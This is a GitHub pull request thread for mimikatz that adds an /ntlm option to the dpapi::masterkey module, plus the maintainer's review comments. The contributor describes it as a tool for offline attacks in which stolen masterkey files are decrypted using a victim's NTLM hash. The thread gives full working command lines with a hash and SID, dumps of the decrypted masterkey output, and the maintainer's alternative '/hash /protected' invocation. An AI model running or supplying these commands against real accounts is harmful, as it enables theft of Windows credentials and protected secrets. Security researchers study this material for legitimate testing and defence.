gentilkiwi / mimikatz

A little tool to play with Windows security
http://blog.gentilkiwi.com/mimikatz
19.5k stars 3.74k forks source link

Support decrypting DPAPI Masterkey with NTLM hash #300

Closed riflon closed 4 years ago

riflon commented 4 years ago

Added NTLM feature to the dpapi::masterkey module. Now is not necessary to previously calculate the hash. It is possible to add the /ntlm:HASH parameter directly and as a result is going to decrypt the masterkey.

Scenario description:

To decrypt masterkey outside the target computer, the following command has to be executed:

dpapi::masterkey /in:"95f7be0a-11a5-442c-8da4-e8e8363e67f7" /hash:7836db5e0904989497a8dc5754a09c5b /sid:S-1-5-21-1968630676-249568448-1092335803-4158

But this required to calculate the hash value first.

Now, if you obtain the NTLM hash of the victim, you can specify it directly in the dpapi::masterkey module:

dpapi::masterkey /in:"95f7be0a-11a5-442c-8da4-e8e8363e67f7" /ntlm:77111de1f970bb77c5b4c3b475854722 /sid:S-1-5-21-1968630676-249568448-1092335803-4158
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {95f7be0a-11a5-442c-8da4-e8e8363e67f7}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : fb229db8bf5d6f13d3c4a6dfe0d50367
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : d8e2816265a74eeb1071c2531e40c6f12b248a3842bfbc3c331cf2e7518b3e256a31367e3252278e10ea904425080cd0fcb482e6110e1b3a161cbebf1212c64a2e547759e610833b7d28d96d4d9ad0ac37a07babc96aaa6714ba8e2f75c6612a3fc73f8dffd887ff

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : d425b604cbb85bfe37155e9eb73f2cef
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 88deefc1164d74993982c3c25fdfdd32d1d2e2c027c503b7364b92af26df13fd2d0a9af18e7f124c1b5d8c029641fd47b8416bc0bff33e9a66a9e7b6e5c6275d120693a9d39aa16c

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {116e39f3-e091-4b58-88ff-8f232466b5d6}
    pbSecret         : f66db46578d860660d5b88063bbd4122da4c528b33b94087e1a9dacf06289253626729e7079336e0ed46df37d1d871f0d92b76fb039790a6f410fc6b44498cf3fcb571c791ec864bd1286ef29137402f0d5f28978a8e0c2c4ff3d5097d4c9a8e922d80414173391ad072f48359d407c84b5bbaa10e8e96d638294d284043f6a15d9d1af8a5b4907cd34a73b5271e75a390a6cede19d6e6f57a051da01f7a0e128cce8043c7b548aa7fd4b93faa982baff3d8abf0b46dd20bd37071551ad3d1cdadb6d21ec2e3da63181a61be31cfb9b30009c889be44c97059b84393f66ef5101f3bc95dedff0e32acc0cb6f6bc4aaccd72543325e80769d560f4c537fce57aa
    pbAccesscheck    : e6a48866d16b51023906335118d882b8e26d83f9ca99570d9f260f687743de9742c2296bba9673951735dac0b0e4f42478e1fb4af9dd8f8156266c3f8d2e5b4ce722496bb5b169a3ce1249a3675e92b68fb7623197a18c35

[masterkey] with hash: 7836db5e0904989497a8dc5754a09c5b (ntlm type)
key : 0bea4d0123f88c40a88731c914594f9d3737c19eb10c78d2f23441657bf777ee6218c65f5268481c4377f81370f88ba4b9c440e7cec74a633d0277779640a45a

I hope this helps.

Thanks!

gentilkiwi commented 4 years ago

With pHash = pNTLM; (https://github.com/gentilkiwi/mimikatz/pull/300/files#diff-2d890c1dc3348bbcc73c94eeee222a1bR200), it will LocalFree your fixed array... to avoid.

With BOOL isProtected = kull_m_string_args_byName(argc, argv, L"protected", NULL, NULL) (https://github.com/gentilkiwi/mimikatz/pull/300/files#diff-2d890c1dc3348bbcc73c94eeee222a1bL160) - the /protected argument, the hash is recalculated in low level function, did you try it?

See: https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_dpapi.c#L643-L654

riflon commented 4 years ago

Morning @gentilkiwi, thank you very much for your fast response!

Regarding the LocalFree, I understand your point. I'm aware of that, but LocalFree is executed at the end only if pHash is not NULL (https://github.com/gentilkiwi/mimikatz/blob/cf8f9f3ee481f9e0461c81003ec486fa33dcc4d5/mimikatz/modules/dpapi/kuhl_m_dpapi.c#L366-L367), so it won't be executed unless /hash or /ntlm parameters are set. However, I'm not an expert at this language, so I understand if it is not an elegant solution. My apologies for that and please feel free to make all the changes you consider.

Regarding the /protected argument, yes I saw that and in fact I used that portion of code for understanding and recalculating the hash (code is pretty similar to yours). I checked the code in kull_m_dpapi_unprotect_masterkey_with_userHash function as you pointed, but I did not find any way of passing the NTLM hash as an argument directly and decrypt the masterkey. I think this is useful with offline attacks, where you steal the masterkeys files and you have the NTLM hash and not the password, and still you can open the masterkey to later use it with dpapi::create module. That was my point and that's why I tried to explain it with an example.

I hope this clarifies my intentions of adding this simple change and always happy to collaborate.

Thank you!

gentilkiwi commented 4 years ago

The problem with LocalFree(pHash) is that it will want to free a fixed memory zone (stack) not allocated by LocalAlloc, it can crash, especially when you will use your ntlm arg.

What I was saying is that you may have the exactly same result with: dpapi::masterkey /in:"95f7be0a-11a5-442c-8da4-e8e8363e67f7" /hash:77111de1f970bb77c5b4c3b475854722 /protected /sid:S-1-5-21-1968630676-249568448-1092335803-4158, without any code change.

edit: fixed typo on argument

riflon commented 4 years ago

You are right about the LocalAlloc, I thought the same but in fact is not crashing. Now I have doubts why is not crashing. I think is because it's pointing to the BYTE value and that is already a valid structure. The LocalFree is being executed without any issues. Anyway, you know much more than me about good practices, so we can add something like pHash = (PBYTE)LocalAlloc(LPTR,LM_NTLM_HASH_LENGHT); before pHash = pNTLM; just to be sure, what do you think?. I tested with that line too and is not crashing either. But again, please feel free to suggest what do you thin it's better or just modify it.

Regarding the command you posted, I tested with the latest version of Mimikatz:

dpapi::masterkey /in:"95f7be0a-11a5-442c-8da4-e8e8363e67f7" /ntlm:77111de1f970bb77c5b4c3b475854722 /protected /sid:S-1-5-21-1968630676-249568448-1092335803-4158
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {95f7be0a-11a5-442c-8da4-e8e8363e67f7}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : fb229db8bf5d6f13d3c4a6dfe0d50367
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : d8e2816265a74eeb1071c2531e40c6f12b248a3842bfbc3c331cf2e7518b3e256a31367e3252278e10ea904425080cd0fcb482e6110e1b3a161cbebf1212c64a2e547759e610833b7d28d96d4d9ad0ac37a07babc96aaa6714ba8e2f75c6612a3fc73f8dffd887ff

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : d425b604cbb85bfe37155e9eb73f2cef
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 88deefc1164d74993982c3c25fdfdd32d1d2e2c027c503b7364b92af26df13fd2d0a9af18e7f124c1b5d8c029641fd47b8416bc0bff33e9a66a9e7b6e5c6275d120693a9d39aa16c

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {116e39f3-e091-4b58-88ff-8f232466b5d6}
    pbSecret         : f66db46578d860660d5b88063bbd4122da4c528b33b94087e1a9dacf06289253626729e7079336e0ed46df37d1d871f0d92b76fb039790a6f410fc6b44498cf3fcb571c791ec864bd1286ef29137402f0d5f28978a8e0c2c4ff3d5097d4c9a8e922d80414173391ad072f48359d407c84b5bbaa10e8e96d638294d284043f6a15d9d1af8a5b4907cd34a73b5271e75a390a6cede19d6e6f57a051da01f7a0e128cce8043c7b548aa7fd4b93faa982baff3d8abf0b46dd20bd37071551ad3d1cdadb6d21ec2e3da63181a61be31cfb9b30009c889be44c97059b84393f66ef5101f3bc95dedff0e32acc0cb6f6bc4aaccd72543325e80769d560f4c537fce57aa
    pbAccesscheck    : e6a48866d16b51023906335118d882b8e26d83f9ca99570d9f260f687743de9742c2296bba9673951735dac0b0e4f42478e1fb4af9dd8f8156266c3f8d2e5b4ce722496bb5b169a3ce1249a3675e92b68fb7623197a18c35

Is not working, because there is no code in the function for parsing /ntlm argument. So basically is ignoring the /ntlm argument, only /hash is possible., that's why I added it.

Now, with the modification I added, here is the output of the mimikatz I compiled:

dpapi::masterkey /in:"C:\Users\SCS\Desktop\mimikatz-master-modified\x64\95f7be0a-11a5-442c-8da4-e8e8363e67f7" /ntlm:77111de1f970bb77c5b4c3b475854722 /sid:S-1-5-21-1968630676-249568448-1092335803-4158
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {95f7be0a-11a5-442c-8da4-e8e8363e67f7}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : fb229db8bf5d6f13d3c4a6dfe0d50367
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : d8e2816265a74eeb1071c2531e40c6f12b248a3842bfbc3c331cf2e7518b3e256a31367e3252278e10ea904425080cd0fcb482e6110e1b3a161cbebf1212c64a2e547759e610833b7d28d96d4d9ad0ac37a07babc96aaa6714ba8e2f75c6612a3fc73f8dffd887ff

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : d425b604cbb85bfe37155e9eb73f2cef
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 88deefc1164d74993982c3c25fdfdd32d1d2e2c027c503b7364b92af26df13fd2d0a9af18e7f124c1b5d8c029641fd47b8416bc0bff33e9a66a9e7b6e5c6275d120693a9d39aa16c

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {116e39f3-e091-4b58-88ff-8f232466b5d6}
    pbSecret         : f66db46578d860660d5b88063bbd4122da4c528b33b94087e1a9dacf06289253626729e7079336e0ed46df37d1d871f0d92b76fb039790a6f410fc6b44498cf3fcb571c791ec864bd1286ef29137402f0d5f28978a8e0c2c4ff3d5097d4c9a8e922d80414173391ad072f48359d407c84b5bbaa10e8e96d638294d284043f6a15d9d1af8a5b4907cd34a73b5271e75a390a6cede19d6e6f57a051da01f7a0e128cce8043c7b548aa7fd4b93faa982baff3d8abf0b46dd20bd37071551ad3d1cdadb6d21ec2e3da63181a61be31cfb9b30009c889be44c97059b84393f66ef5101f3bc95dedff0e32acc0cb6f6bc4aaccd72543325e80769d560f4c537fce57aa
    pbAccesscheck    : e6a48866d16b51023906335118d882b8e26d83f9ca99570d9f260f687743de9742c2296bba9673951735dac0b0e4f42478e1fb4af9dd8f8156266c3f8d2e5b4ce722496bb5b169a3ce1249a3675e92b68fb7623197a18c35

[masterkey] with hash: 7836db5e0904989497a8dc5754a09c5b (ntlm type)
  key : 0bea4d0123f88c40a88731c914594f9d3737c19eb10c78d2f23441657bf777ee6218c65f5268481c4377f81370f88ba4b9c440e7cec74a633d0277779640a45a
  sha1: 49554817771e294ad8dbe31946ada91580851c40

Of course i'm not using the /protected argument because it is not necessary.

I tested it many times and is not crashing and is working perfectly. Please, feel free to test on your side.

Thanks again and please let me know if there is anything I can do for helping.

gentilkiwi commented 4 years ago

My bad, typo: dpapi::masterkey /in:"C:\Users\SCS\Desktop\mimikatz-master-modified\x64\95f7be0a-11a5-442c-8da4-e8e8363e67f7" /hash:77111de1f970bb77c5b4c3b475854722 /protected /sid:S-1-5-21-1968630676-249568448-1092335803-4158

I will fix my previous message.

riflon commented 4 years ago

I tested and that works! Is confused because the /hash argument I thought it was only used for the recalculated hash. So you can reject this PR but I think it would be a good idea to add the /ntlm argument and just force the /protect and /hash values. I mean, it consistent with the syntax of other modules where you offer /ntlm argument right? and it's a cleaner sintax for the user. What do you think?

Thanks man, I really appreciate your help and feedback.

gentilkiwi commented 4 years ago

In fact 'protected routines' are not necessary before Windows 10 (I don't remember exact build version), or Windows 7 with a KB and Protected Users group. That's why I can't consider a NTLM hash to be derived another time in a systematic way and must deal with NTLM and protected NTLM hash.

juppia commented 4 years ago

Hi. I have a masterkey that I want to decrypt. The user account does not have a password, so a masterkey was not encrypted by it. So what data I need to know to decrypt this masterkey. If it is encrypted with hash, how I can get it?